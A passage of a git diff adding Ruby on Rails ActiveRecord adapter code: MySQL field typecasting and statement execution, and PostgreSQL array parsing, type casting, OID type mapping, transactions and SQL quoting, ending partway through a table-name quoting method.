+ end
+ end
+
+ class Float < Type
+ def type; :float; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ value.to_f
+ end
+ end
+
+ class Decimal < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::Column.value_to_decimal value
+ end
+ end
+
+ class Boolean < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::Column.value_to_boolean value
+ end
+ end
+
+ TYPES = {}
+
+ # Register an MySQL +type_id+ with a typecasting object in
+ # +type+.
+ def self.register_type(type_id, type)
+ TYPES[type_id] = type
+ end
+
+ def self.alias_type(new, old)
+ TYPES[new] = TYPES[old]
+ end
+
+ register_type Mysql::Field::TYPE_TINY, Fields::Boolean.new
+ register_type Mysql::Field::TYPE_LONG, Fields::Integer.new
+ alias_type Mysql::Field::TYPE_LONGLONG, Mysql::Field::TYPE_LONG
+ alias_type Mysql::Field::TYPE_NEWDECIMAL, Mysql::Field::TYPE_LONG
+
+ register_type Mysql::Field::TYPE_VAR_STRING, Fields::Identity.new
+ register_type Mysql::Field::TYPE_BLOB, Fields::Identity.new
+ register_type Mysql::Field::TYPE_DATE, Fields::Date.new
+ register_type Mysql::Field::TYPE_DATETIME, Fields::DateTime.new
+ register_type Mysql::Field::TYPE_TIME, Fields::Time.new
+ register_type Mysql::Field::TYPE_FLOAT, Fields::Float.new
+
+ Mysql::Field.constants.grep(/TYPE/).map { |class_name|
+ Mysql::Field.const_get class_name
+ }.reject { |const| TYPES.key? const }.each do |const|
+ register_type const, Fields::Identity.new
+ end
+ end
+
+ def exec_without_stmt(sql, name = 'SQL') # :nodoc:
+ # Some queries, like SHOW CREATE TABLE don't work through the prepared
+ # statement API. For those queries, we need to use this method. :'(
+ log(sql, name) do
+ result = @connection.query(sql)
+ affected_rows = @connection.affected_rows
+
+ if result
+ types = {}
+ result.fetch_fields.each { |field|
+ if field.decimals > 0
+ types[field.name] = Fields::Decimal.new
+ else
+ types[field.name] = Fields::TYPES.fetch(field.type) {
+ Fields::Identity.new
+ }
+ end
+ }
+ result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+ result.free
+ else
+ result_set = ActiveRecord::Result.new([], [])
+ end
+
+ [result_set, affected_rows]
+ end
+ end
+
+ def execute_and_free(sql, name = nil)
+ result = execute(sql, name)
+ ret = yield result
+ result.free
+ ret
+ end
+
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+ super sql, name
+ id_value || @connection.insert_id
+ end
+ alias :create :insert_sql
+
+ def exec_delete(sql, name, binds)
+ affected_rows = 0
+
+ exec_query(sql, name, binds) do |n|
+ affected_rows = n
+ end
+
+ affected_rows
+ end
+ alias :exec_update :exec_delete
+
+ def begin_db_transaction #:nodoc:
+ exec_query "BEGIN"
+ rescue Mysql::Error
+ # Transactions aren't supported
+ end
+
+ private
+
+ def exec_stmt(sql, name, binds)
+ cache = {}
+ log(sql, name, binds) do
+ if binds.empty?
+ stmt = @connection.prepare(sql)
+ else
+ cache = @statements[sql] ||= {
+ :stmt => @connection.prepare(sql)
+ }
+ stmt = cache[:stmt]
+ end
+
+ begin
+ stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+ rescue Mysql::Error => e
+ # Older versions of MySQL leave the prepared statement in a bad
+ # place when an error occurs. To support older mysql versions, we
+ # need to close the statement and delete the statement from the
+ # cache.
+ stmt.close
+ @statements.delete sql
+ raise e
+ end
+
+ cols = nil
+ if metadata = stmt.result_metadata
+ cols = cache[:cols] ||= metadata.fetch_fields.map { |field|
+ field.name
+ }
+ end
+
+ result_set = ActiveRecord::Result.new(cols, stmt.to_a) if cols
+ affected_rows = stmt.affected_rows
+
+ stmt.result_metadata.free if cols
+ stmt.free_result
+ stmt.close if binds.empty?
+
+ [result_set, affected_rows]
+ end
+ end
+
+ def connect
+ encoding = @config[:encoding]
+ if encoding
+ @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
+ end
+
+ if @config[:sslca] || @config[:sslkey]
+ @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
+ end
+
+ @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout]
+ @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout]
+ @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout]
+
+ @connection.real_connect(*@connection_options)
+
+ # reconnect must be set after real_connect is called, because real_connect sets it to false internally
+ @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=)
+
+ configure_connection
+ end
+
+ # Many Rails applications monkey-patch a replacement of the configure_connection method
+ # and don't call 'super', so leave this here even though it looks superfluous.
+ def configure_connection
+ super
+ end
+
+ def select(sql, name = nil, binds = [])
+ @connection.query_with_result = true
+ rows = exec_query(sql, name, binds)
+ @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
+ rows
+ end
+
+ # Returns the version of the connected MySQL server.
+ def version
+ @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
new file mode 100644
index 0000000..b7d24f2
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -0,0 +1,97 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLColumn < Column
+ module ArrayParser
+ private
+ # Loads pg_array_parser if available. String parsing can be
+ # performed quicker by a native extension, which will not create
+ # a large amount of Ruby objects that will need to be garbage
+ # collected. pg_array_parser has a C and Java extension
+ begin
+ require 'pg_array_parser'
+ include PgArrayParser
+ rescue LoadError
+ def parse_pg_array(string)
+ parse_data(string, 0)
+ end
+ end
+
+ def parse_data(string, index)
+ local_index = index
+ array = []
+ while(local_index < string.length)
+ case string[local_index]
+ when '{'
+ local_index,array = parse_array_contents(array, string, local_index + 1)
+ when '}'
+ return array
+ end
+ local_index += 1
+ end
+
+ array
+ end
+
+ def parse_array_contents(array, string, index)
+ is_escaping = false
+ is_quoted = false
+ was_quoted = false
+ current_item = ''
+
+ local_index = index
+ while local_index
+ token = string[local_index]
+ if is_escaping
+ current_item << token
+ is_escaping = false
+ else
+ if is_quoted
+ case token
+ when '"'
+ is_quoted = false
+ was_quoted = true
+ when "\\"
+ is_escaping = true
+ else
+ current_item << token
+ end
+ else
+ case token
+ when "\\"
+ is_escaping = true
+ when ','
+ add_item_to_array(array, current_item, was_quoted)
+ current_item = ''
+ was_quoted = false
+ when '"'
+ is_quoted = true
+ when '{'
+ internal_items = []
+ local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1)
+ array.push(internal_items)
+ when '}'
+ add_item_to_array(array, current_item, was_quoted)
+ return local_index,array
+ else
+ current_item << token
+ end
+ end
+ end
+
+ local_index += 1
+ end
+ return local_index,array
+ end
+
+ def add_item_to_array(array, current_item, quoted)
+ if current_item.length == 0
+ elsif !quoted && current_item == 'NULL'
+ array.push nil
+ else
+ array.push current_item
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
new file mode 100644
index 0000000..a9ef11a
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
@@ -0,0 +1,152 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLColumn < Column
+ module Cast
+ def point_to_string(point)
+ "(#{point[0]},#{point[1]})"
+ end
+
+ def string_to_point(string)
+ if string[0] == '(' && string[-1] == ')'
+ string = string[1...-1]
+ end
+ string.split(',').map{ |v| Float(v) }
+ end
+
+ def string_to_time(string)
+ return string unless String === string
+
+ case string
+ when 'infinity'; 1.0 / 0.0
+ when '-infinity'; -1.0 / 0.0
+ when / BC$/
+ super("-" + string.sub(/ BC$/, ""))
+ else
+ super
+ end
+ end
+
+ def string_to_bit(value)
+ case value
+ when /^0x/i
+ value[2..-1].hex.to_s(2) # Hexadecimal notation
+ else
+ value # Bit-string notation
+ end
+ end
+
+ def hstore_to_string(object)
+ if Hash === object
+ object.map { |k,v|
+ "#{escape_hstore(k)}=>#{escape_hstore(v)}"
+ }.join ','
+ else
+ object
+ end
+ end
+
+ def string_to_hstore(string)
+ if string.nil?
+ nil
+ elsif String === string
+ Hash[string.scan(HstorePair).map { |k,v|
+ v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+ k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
+ [k,v]
+ }]
+ else
+ string
+ end
+ end
+
+ def json_to_string(object)
+ if Hash === object
+ ActiveSupport::JSON.encode(object)
+ else
+ object
+ end
+ end
+
+ def array_to_string(value, column, adapter, should_be_quoted = false)
+ casted_values = value.map do |val|
+ if String === val
+ if val == "NULL"
+ "\"#{val}\""
+ else
+ quote_and_escape(adapter.type_cast(val, column, true))
+ end
+ else
+ adapter.type_cast(val, column, true)
+ end
+ end
+ "{#{casted_values.join(',')}}"
+ end
+
+ def range_to_string(object)
+ from = object.begin.respond_to?(:infinite?) && object.begin.infinite? ? '' : object.begin
+ to = object.end.respond_to?(:infinite?) && object.end.infinite? ? '' : object.end
+ "[#{from},#{to}#{object.exclude_end? ? ')' : ']'}"
+ end
+
+ def string_to_json(string)
+ if String === string
+ ActiveSupport::JSON.decode(string)
+ else
+ string
+ end
+ end
+
+ def string_to_cidr(string)
+ if string.nil?
+ nil
+ elsif String === string
+ IPAddr.new(string)
+ else
+ string
+ end
+ end
+
+ def cidr_to_string(object)
+ if IPAddr === object
+ "#{object.to_s}/#{object.instance_variable_get(:@mask_addr).to_s(2).count('1')}"
+ else
+ object
+ end
+ end
+
+ def string_to_array(string, oid)
+ parse_pg_array(string).map{|val| oid.type_cast val}
+ end
+
+ private
+
+ HstorePair = begin
+ quoted_string = /"[^"\\]*(?:\\.[^"\\]*)*"/
+ unquoted_string = /(?:\\.|[^\s,])[^\s=,\\]*(?:\\.[^\s=,\\]*|=[^,>])*/
+ /(#{quoted_string}|#{unquoted_string})\s*=>\s*(#{quoted_string}|#{unquoted_string})/
+ end
+
+ def escape_hstore(value)
+ if value.nil?
+ 'NULL'
+ else
+ if value == ""
+ '""'
+ else
+ '"%s"' % value.to_s.gsub(/(["\\])/, '\\\\\1')
+ end
+ end
+ end
+
+ def quote_and_escape(value)
+ case value
+ when "NULL"
+ value
+ else
+ "\"#{value.gsub(/"/,"\\\"")}\""
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
new file mode 100644
index 0000000..9b5170f
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -0,0 +1,242 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module DatabaseStatements
+ def explain(arel, binds = [])
+ sql = "EXPLAIN #{to_sql(arel, binds)}"
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+ end
+
+ class ExplainPrettyPrinter # :nodoc:
+ # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+ # PostgreSQL shell:
+ #
+ # QUERY PLAN
+ # ------------------------------------------------------------------------------
+ # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ # Join Filter: (posts.user_id = users.id)
+ # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ # Index Cond: (id = 1)
+ # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ # Filter: (posts.user_id = 1)
+ # (6 rows)
+ #
+ def pp(result)
+ header = result.columns.first
+ lines = result.rows.map(&:first)
+
+ # We add 2 because there's one char of padding at both sides, note
+ # the extra hyphens in the example above.
+ width = [header, *lines].map(&:length).max + 2
+
+ pp = []
+
+ pp << header.center(width).rstrip
+ pp << '-' * width
+
+ pp += lines.map {|line| " #{line}"}
+
+ nrows = result.rows.length
+ rows_label = nrows == 1 ? 'row' : 'rows'
+ pp << "(#{nrows} #{rows_label})"
+
+ pp.join("\n") + "\n"
+ end
+ end
+
+ # Executes a SELECT query and returns an array of rows. Each row is an
+ # array of field values.
+ def select_rows(sql, name = nil)
+ select_raw(sql, name).last
+ end
+
+ # Executes an INSERT query and returns the new record's ID
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+ unless pk
+ # Extract the table from the insert sql. Yuck.
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ pk = primary_key(table_ref) if table_ref
+ end
+
+ if pk && use_insert_returning?
+ select_value("#{sql} RETURNING #{quote_column_name(pk)}")
+ elsif pk
+ super
+ last_insert_id_value(sequence_name || default_sequence_name(table_ref, pk))
+ else
+ super
+ end
+ end
+
+ def create
+ super.insert
+ end
+
+ # create a 2D array representing the result set
+ def result_as_array(res) #:nodoc:
+ # check if we have any binary column and if they need escaping
+ ftypes = Array.new(res.nfields) do |i|
+ [i, res.ftype(i)]
+ end
+
+ rows = res.values
+ return rows unless ftypes.any? { |_, x|
+ x == BYTEA_COLUMN_TYPE_OID || x == MONEY_COLUMN_TYPE_OID
+ }
+
+ typehash = ftypes.group_by { |_, type| type }
+ binaries = typehash[BYTEA_COLUMN_TYPE_OID] || []
+ monies = typehash[MONEY_COLUMN_TYPE_OID] || []
+
+ rows.each do |row|
+ # unescape string passed BYTEA field (OID == 17)
+ binaries.each do |index, _|
+ row[index] = unescape_bytea(row[index])
+ end
+
+ # If this is a money type column and there are any currency symbols,
+ # then strip them off. Indeed it would be prettier to do this in
+ # PostgreSQLColumn.string_to_decimal but would break form input
+ # fields that call value_before_type_cast.
+ monies.each do |index, _|
+ data = row[index]
+ # Because money output is formatted according to the locale, there are two
+ # cases to consider (note the decimal separators):
+ # (1) $12,345,678.12
+ # (2) $12.345.678,12
+ case data
+ when /^-?\D+[\d,]+\.\d{2}$/ # (1)
+ data.gsub!(/[^-\d.]/, '')
+ when /^-?\D+[\d.]+,\d{2}$/ # (2)
+ data.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+ end
+ end
+ end
+ end
+
+ # Queries the database and returns the results in an Array-like object
+ def query(sql, name = nil) #:nodoc:
+ log(sql, name) do
+ result_as_array @connection.async_exec(sql)
+ end
+ end
+
+ # Executes an SQL statement, returning a PGresult object on success
+ # or raising a PGError exception otherwise.
+ def execute(sql, name = nil)
+ log(sql, name) do
+ @connection.async_exec(sql)
+ end
+ end
+
+ def substitute_at(column, index)
+ Arel::Nodes::BindParam.new "$#{index + 1}"
+ end
+
+ def exec_query(sql, name = 'SQL', binds = [])
+ log(sql, name, binds) do
+ result = binds.empty? ? exec_no_cache(sql, binds) :
+ exec_cache(sql, binds)
+
+ types = {}
+ result.fields.each_with_index do |fname, i|
+ ftype = result.ftype i
+ fmod = result.fmod i
+ types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
+ warn "unknown OID: #{fname}(#{oid}) (#{sql})"
+ OID::Identity.new
+ }
+ end
+
+ ret = ActiveRecord::Result.new(result.fields, result.values, types)
+ result.clear
+ return ret
+ end
+ end
+
+ def exec_delete(sql, name = 'SQL', binds = [])
+ log(sql, name, binds) do
+ result = binds.empty? ? exec_no_cache(sql, binds) :
+ exec_cache(sql, binds)
+ affected = result.cmd_tuples
+ result.clear
+ affected
+ end
+ end
+ alias :exec_update :exec_delete
+
+ def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ unless pk
+ # Extract the table from the insert sql. Yuck.
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ pk = primary_key(table_ref) if table_ref
+ end
+
+ if pk && use_insert_returning?
+ sql = "#{sql} RETURNING #{quote_column_name(pk)}"
+ end
+
+ [sql, binds]
+ end
+
+ def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+ val = exec_query(sql, name, binds)
+ if !use_insert_returning? && pk
+ unless sequence_name
+ table_ref = extract_table_ref_from_insert_sql(sql)
+ sequence_name = default_sequence_name(table_ref, pk)
+ return val unless sequence_name
+ end
+ last_insert_id_result(sequence_name)
+ else
+ val
+ end
+ end
+
+ # Executes an UPDATE query and returns the number of affected tuples.
+ def update_sql(sql, name = nil)
+ super.cmd_tuples
+ end
+
+ # Begins a transaction.
+ def begin_db_transaction
+ execute "BEGIN"
+ end
+
+ def begin_isolated_db_transaction(isolation)
+ begin_db_transaction
+ execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
+ end
+
+ # Commits a transaction.
+ def commit_db_transaction
+ execute "COMMIT"
+ end
+
+ # Aborts a transaction.
+ def rollback_db_transaction
+ execute "ROLLBACK"
+ end
+
+ def outside_transaction?
+ message = "#outside_transaction? is deprecated. This method was only really used " \
+ "internally, but you can use #transaction_open? instead."
+ ActiveSupport::Deprecation.warn message
+ @connection.transaction_status == PGconn::PQTRANS_IDLE
+ end
+
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
new file mode 100644
index 0000000..1be116c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -0,0 +1,366 @@
+require 'active_record/connection_adapters/abstract_adapter'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module OID
+ class Type
+ def type; end
+
+ def type_cast_for_write(value)
+ value
+ end
+ end
+
+ class Identity < Type
+ def type_cast(value)
+ value
+ end
+ end
+
+ class Bit < Type
+ def type_cast(value)
+ if String === value
+ ConnectionAdapters::PostgreSQLColumn.string_to_bit value
+ else
+ value
+ end
+ end
+ end
+
+ class Bytea < Type
+ def type_cast(value)
+ return if value.nil?
+ PGconn.unescape_bytea value
+ end
+ end
+
+ class Money < Type
+ def type_cast(value)
+ return if value.nil?
+
+ # Because money output is formatted according to the locale, there are two
+ # cases to consider (note the decimal separators):
+ # (1) $12,345,678.12
+ # (2) $12.345.678,12
+
+ case value
+ when /^-?\D+[\d,]+\.\d{2}$/ # (1)
+ value.gsub!(/[^-\d.]/, '')
+ when /^-?\D+[\d.]+,\d{2}$/ # (2)
+ value.gsub!(/[^-\d,]/, '').sub!(/,/, '.')
+ end
+
+ ConnectionAdapters::Column.value_to_decimal value
+ end
+ end
+
+ class Vector < Type
+ attr_reader :delim, :subtype
+
+ # +delim+ corresponds to the `typdelim` column in the pg_types
+ # table. +subtype+ is derived from the `typelem` column in the
+ # pg_types table.
+ def initialize(delim, subtype)
+ @delim = delim
+ @subtype = subtype
+ end
+
+ # FIXME: this should probably split on +delim+ and use +subtype+
+ # to cast the values. Unfortunately, the current Rails behavior
+ # is to just return the string.
+ def type_cast(value)
+ value
+ end
+ end
+
+ class Point < Type
+ def type_cast(value)
+ if String === value
+ ConnectionAdapters::PostgreSQLColumn.string_to_point value
+ else
+ value
+ end
+ end
+ end
+
+ class Array < Type
+ attr_reader :subtype
+ def initialize(subtype)
+ @subtype = subtype
+ end
+
+ def type_cast(value)
+ if String === value
+ ConnectionAdapters::PostgreSQLColumn.string_to_array value, @subtype
+ else
+ value
+ end
+ end
+ end
+
+ class Range < Type
+ attr_reader :subtype
+ def initialize(subtype)
+ @subtype = subtype
+ end
+
+ def extract_bounds(value)
+ from, to = value[1..-2].split(',')
+ {
+ from: (value[1] == ',' || from == '-infinity') ? infinity(:negative => true) : from,
+ to: (value[-2] == ',' || to == 'infinity') ? infinity : to,
+ exclude_start: (value[0] == '('),
+ exclude_end: (value[-1] == ')')
+ }
+ end
+
+ def infinity(options = {})
+ ::Float::INFINITY * (options[:negative] ? -1 : 1)
+ end
+
+ def infinity?(value)
+ value.respond_to?(:infinite?) && value.infinite?
+ end
+
+ def to_integer(value)
+ infinity?(value) ? value : value.to_i
+ end
+
+ def type_cast(value)
+ return if value.nil? || value == 'empty'
+ return value if value.is_a?(::Range)
+
+ extracted = extract_bounds(value)
+
+ case @subtype
+ when :date
+ from = ConnectionAdapters::Column.value_to_date(extracted[:from])
+ from -= 1.day if extracted[:exclude_start]
+ to = ConnectionAdapters::Column.value_to_date(extracted[:to])
+ when :decimal
+ from = BigDecimal.new(extracted[:from].to_s)
+ # FIXME: add exclude start for ::Range, same for timestamp ranges
+ to = BigDecimal.new(extracted[:to].to_s)
+ when :time
+ from = ConnectionAdapters::Column.string_to_time(extracted[:from])
+ to = ConnectionAdapters::Column.string_to_time(extracted[:to])
+ when :integer
+ from = to_integer(extracted[:from]) rescue value ? 1 : 0
+ from -= 1 if extracted[:exclude_start]
+ to = to_integer(extracted[:to]) rescue value ? 1 : 0
+ else
+ return value
+ end
+
+ ::Range.new(from, to, extracted[:exclude_end])
+ end
+ end
+
+ class Integer < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::Column.value_to_integer value
+ end
+ end
+
+ class Boolean < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::Column.value_to_boolean value
+ end
+ end
+
+ class Timestamp < Type
+ def type; :timestamp; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is PG
+ # specific
+ ConnectionAdapters::PostgreSQLColumn.string_to_time value
+ end
+ end
+
+ class Date < Type
+ def type; :datetime; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is PG
+ # specific
+ ConnectionAdapters::Column.value_to_date value
+ end
+ end
+
+ class Time < Type
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is PG
+ # specific
+ ConnectionAdapters::Column.string_to_dummy_time value
+ end
+ end
+
+ class Float < Type
+ def type_cast(value)
+ return if value.nil?
+
+ value.to_f
+ end
+ end
+
+ class Decimal < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::Column.value_to_decimal value
+ end
+ end
+
+ class Hstore < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
+ end
+ end
+
+ class Cidr < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::PostgreSQLColumn.string_to_cidr value
+ end
+ end
+
+ class Json < Type
+ def type_cast(value)
+ return if value.nil?
+
+ ConnectionAdapters::PostgreSQLColumn.string_to_json value
+ end
+ end
+
+ class TypeMap
+ def initialize
+ @mapping = {}
+ end
+
+ def []=(oid, type)
+ @mapping[oid] = type
+ end
+
+ def [](oid)
+ @mapping[oid]
+ end
+
+ def clear
+ @mapping.clear
+ end
+
+ def key?(oid)
+ @mapping.key? oid
+ end
+
+ def fetch(ftype, fmod)
+ # The type for the numeric depends on the width of the field,
+ # so we'll do something special here.
+ #
+ # When dealing with decimal columns:
+ #
+ # places after decimal = fmod - 4 & 0xffff
+ # places before decimal = (fmod - 4) >> 16 & 0xffff
+ if ftype == 1700 && (fmod - 4 & 0xffff).zero?
+ ftype = 23
+ end
+
+ @mapping.fetch(ftype) { |oid| yield oid, fmod }
+ end
+ end
+
+ TYPE_MAP = TypeMap.new # :nodoc:
+
+ # When the PG adapter connects, the pg_type table is queried. The
+ # key of this hash maps to the `typname` column from the table.
+ # TYPE_MAP is then dynamically built with oids as the key and type
+ # objects as values.
+ NAMES = Hash.new { |h,k| # :nodoc:
+ h[k] = OID::Identity.new
+ }
+
+ # Register an OID type named +name+ with a typcasting object in
+ # +type+. +name+ should correspond to the `typname` column in
+ # the `pg_type` table.
+ def self.register_type(name, type)
+ NAMES[name] = type
+ end
+
+ # Alias the +old+ type to the +new+ type.
+ def self.alias_type(new, old)
+ NAMES[new] = NAMES[old]
+ end
+
+ # Is +name+ a registered type?
+ def self.registered_type?(name)
+ NAMES.key? name
+ end
+
+ register_type 'int2', OID::Integer.new
+ alias_type 'int4', 'int2'
+ alias_type 'int8', 'int2'
+ alias_type 'oid', 'int2'
+
+ register_type 'daterange', OID::Range.new(:date)
+ register_type 'numrange', OID::Range.new(:decimal)
+ register_type 'tsrange', OID::Range.new(:time)
+ register_type 'int4range', OID::Range.new(:integer)
+ alias_type 'tstzrange', 'tsrange'
+ alias_type 'int8range', 'int4range'
+
+ register_type 'numeric', OID::Decimal.new
+ register_type 'text', OID::Identity.new
+ alias_type 'varchar', 'text'
+ alias_type 'char', 'text'
+ alias_type 'bpchar', 'text'
+ alias_type 'xml', 'text'
+
+ # FIXME: why are we keeping these types as strings?
+ alias_type 'tsvector', 'text'
+ alias_type 'interval', 'text'
+ alias_type 'macaddr', 'text'
+ alias_type 'uuid', 'text'
+
+ register_type 'money', OID::Money.new
+ register_type 'bytea', OID::Bytea.new
+ register_type 'bool', OID::Boolean.new
+ register_type 'bit', OID::Bit.new
+ register_type 'varbit', OID::Bit.new
+
+ register_type 'float4', OID::Float.new
+ alias_type 'float8', 'float4'
+
+ register_type 'timestamp', OID::Timestamp.new
+ register_type 'timestamptz', OID::Timestamp.new
+ register_type 'date', OID::Date.new
+ register_type 'time', OID::Time.new
+
+ register_type 'path', OID::Identity.new
+ register_type 'point', OID::Point.new
+ register_type 'polygon', OID::Identity.new
+ register_type 'circle', OID::Identity.new
+ register_type 'hstore', OID::Hstore.new
+ register_type 'json', OID::Json.new
+ register_type 'ltree', OID::Identity.new
+
+ register_type 'cidr', OID::Cidr.new
+ alias_type 'inet', 'cidr'
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
new file mode 100644
index 0000000..40a3b82
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -0,0 +1,171 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module Quoting
+ # Escapes binary strings for bytea input to the database.
+ def escape_bytea(value)
+ PGconn.escape_bytea(value) if value
+ end
+
+ # Unescapes bytea output from a database to the binary string it represents.
+ # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
+ # on escaped binary output from database drive.
+ def unescape_bytea(value)
+ PGconn.unescape_bytea(value) if value
+ end
+
+ # Quotes PostgreSQL-specific data types for SQL input.
+ def quote(value, column = nil) #:nodoc:
+ return super unless column
+
+ sql_type = type_to_sql(column.type, column.limit, column.precision, column.scale)
+
+ case value
+ when Range
+ if /range$/ =~ sql_type
+ "'#{PostgreSQLColumn.range_to_string(value)}'::#{sql_type}"
+ else
+ super
+ end
+ when Array
+ case sql_type
+ when 'point' then super(PostgreSQLColumn.point_to_string(value))
+ else
+ if column.array
+ "'#{PostgreSQLColumn.array_to_string(value, column, self).gsub(/'/, "''")}'"
+ else
+ super
+ end
+ end
+ when Hash
+ case sql_type
+ when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
+ when 'json' then super(PostgreSQLColumn.json_to_string(value), column)
+ else super
+ end
+ when IPAddr
+ case sql_type
+ when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
+ else super
+ end
+ when Float
+ if value.infinite? && column.type == :datetime
+ "'#{value.to_s.downcase}'"
+ elsif value.infinite? || value.nan?
+ "'#{value.to_s}'"
+ else
+ super
+ end
+ when Numeric
+ if sql_type == 'money' || [:string, :text].include?(column.type)
+ # Not truly string input, so doesn't require (or allow) escape string syntax.
+ "'#{value}'"
+ else
+ super
+ end
+ when String
+ case sql_type
+ when 'bytea' then "'#{escape_bytea(value)}'"
+ when 'xml' then "xml '#{quote_string(value)}'"
+ when /^bit/
+ case value
+ when /^[01]*$/ then "B'#{value}'" # Bit-string notation
+ when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
+ end
+ else
+ super
+ end
+ else
+ super
+ end
+ end
+
+ def type_cast(value, column, array_member = false)
+ return super(value, column) unless column
+
+ case value
+ when Range
+ return super(value, column) unless /range$/ =~ column.sql_type
+ PostgreSQLColumn.range_to_string(value)
+ when NilClass
+ if column.array && array_member
+ 'NULL'
+ elsif column.array
+ value
+ else
+ super(value, column)
+ end
+ when Array
+ case column.sql_type
+ when 'point' then PostgreSQLColumn.point_to_string(value)
+ else
+ return super(value, column) unless column.array
+ PostgreSQLColumn.array_to_string(value, column, self)
+ end
+ when String
+ return super(value, column) unless 'bytea' == column.sql_type
+ { :value => value, :format => 1 }
+ when Hash
+ case column.sql_type
+ when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
+ when 'json' then PostgreSQLColumn.json_to_string(value)
+ else super(value, column)
+ end
+ when IPAddr
+ return super(value, column) unless ['inet','cidr'].include? column.sql_type
+ PostgreSQLColumn.cidr_to_string(value)
+ else
+ super(value, column)
+ end
+ end
+
+ # Quotes strings for use in SQL input.
+ def quote_string(s) #:nodoc:
+ @connection.escape(s)
+ end
+
+ # Checks the following cases:
+ #
+ # - table_name
+ # - "table.name"
+ # - schema_name.table_name
+ # - schema_name."table.name"
+ # - "schema.name".table_name
+ # - "schema.name"."table.name"
+ def quote_table_name(name)
+ schema, name_part = extract_pg_identifier_from_name(name.to_s)
+
+ unless name_part
+ quote_column_name(schema)
+ else
+ table_name, name_part = extract_pg_identifier_from_name(name_part)
